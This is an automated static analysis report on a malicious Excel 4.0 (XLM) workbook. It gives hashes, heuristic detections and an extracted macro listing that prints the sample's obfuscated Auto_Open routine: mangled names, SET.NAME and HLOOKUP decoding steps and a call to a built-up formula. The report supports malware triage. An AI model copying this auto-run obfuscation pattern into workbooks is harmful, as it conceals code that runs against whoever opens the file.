Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1253bea1cb230adb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:51 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: d662d497d55194b6032817f8305b514d SHA-1: 86539ef6b8b238f963813f9ede95b0cd2a4cfee3 SHA-256: 1253bea1cb230adbcfb0eaa99858af4115aae4b0c94bad585b6c06a61555bacb
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6624 bytes
SHA-256: b540ba7728d00e5ff12039163608922d77ff50f049498d824ad7466a0fc0d679
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'paMjstnEiPeu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Enbpxv
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I181 
' 0018     21 LABEL : Cell Value, String Constant - axRvwJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - cMfyAHR len=0 
' 0018     22 LABEL : Cell Value, String Constant - dDLGuNV len=0 
' 0018     23 LABEL : Cell Value, String Constant - dkRSNBdO len=0 
' 0018     21 LABEL : Cell Value, String Constant - gRaEni len=0 
' 0018     25 LABEL : Cell Value, String Constant - haHpMGXqhA len=0 
' 0018     20 LABEL : Cell Value, String Constant - jZFgN len=0 
' 0018     22 LABEL : Cell Value, String Constant - khfnRjt len=0 
' 0018     26 LABEL : Cell Value, String Constant - LmPfXKJDPfF len=0 
' 0018     25 LABEL : Cell Value, String Constant - MdLGRjtsez len=0 
' 0018     22 LABEL : Cell Value, String Constant - NNHveby len=0 
' 0018     25 LABEL : Cell Value, String Constant - nRmdcSruDv len=0 
' 0018     27 LABEL : Cell Value, String Constant - paMjstnEiPeu len=0 
' 0018     22 LABEL : Cell Value, String Constant - pLojjbc len=0 
' 0018     21 LABEL : Cell Value, String Constant - pVzYGk len=0 
' 0018     21 LABEL : Cell Value, String Constant - SnXXLK len=0 
' 0018     22 LABEL : Cell Value, String Constant - TeqReCs len=0 
' 0018     20 LABEL : Cell Value, String Constant - wfCaF len=0 
' 0018     22 LABEL : Cell Value, String Constant - YzJSLnE len=0 
' 0018     23 LABEL : Cell Value, String Constant - zBAVbRwn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Enbpxv,T44,"",509.00000000000000000000
'  Enbpxv,T45,"",422.00000000000000000000
'  Enbpxv,T46,"",422.00000000000000000000
'  Enbpxv,T47,"",-334.00000000000000000000
'  Enbpxv,T48,"",-159.00000000000000000000
'  Enbpxv,T49,"",263.00000000000000000000
'  Enbpxv,I86,"SET.NAME("TeqReCs",0+VALUE("0"))",""
'  Enbpxv,I91,"SET.NAME("jZFgN",TeqReCs)",""
'  Enbpxv,I95,"SET.NAME("nRmdcSruDv",TeqReCs)",""
'  Enbpxv,I100,"SET.NAME("SnXXLK",COUNTA(MdLGRjtsez))",""
'  Enbpxv,I104,"SET.NAME("gRaEni",COUNTA(dDLGuNV))",""
'  Enbpxv,I109,[],""
'  Enbpxv,I111,"SET.NAME("pVzYGk","")",""
'  Enbpxv,I116,"jZFgN",""
'  Enbpxv,I121,"SET.NAME("khfnRjt",HLOOKUP("*",MdLGRjtsez,jZFgN,FALSE))",""
'  Enbpxv,I125,"paMjstnEiPeu",""
'  Enbpxv,I128,"SET.NAME("pLojjbc",TeqReCs)",""
'  Enbpxv,I131,[],""
'  Enbpxv,I136,"pLojjbc",""
'  Enbpxv,I139,"zBAVbRwn",""
'  Enbpxv,I141,"NNHveby",""
'  Enbpxv,I144,"axRvwJ",""
'  Enbpxv,I147,"SET.NAME("wfCaF",VALUE(HLOOKUP("*",dDLGuNV,axRvwJ,FALSE)))",""
'  Enbpxv,I151,"cMfyAHR",""
'  Enbpxv,I155,"pVzYGk",""
'  Enbpxv,I157,"nRmdcSruDv",""
'  Enbpxv,I160,NEXT(),""
'  Enbpxv,I164,"LmPfXKJDPfF",""
'  Enbpxv,I167,[],""
'  Enbpxv,I172,"haHpMGXqhA",""
'  Enbpxv,I175,NEXT(),""
'  Enbpxv,I179,RETURN(),""
'  Enbpxv,I207,"SET.NAME("dkRSNBdO",I86)",""
'  Enbpxv,I212,"MdLGRjtsez",""
'  Enbpxv,I215,"SET.NAME("dDLGuNV",R40C11)",""
'  Enbpxv,I218,"SET.NAME("haHpMGXqhA",229)",""
'  Enbpxv,I223,"SET.NAME("YzJSLnE",9)",""
'  Enbpxv,I228,dkRSNBdO(),""
'  Enbpxv,I229,HALT(),""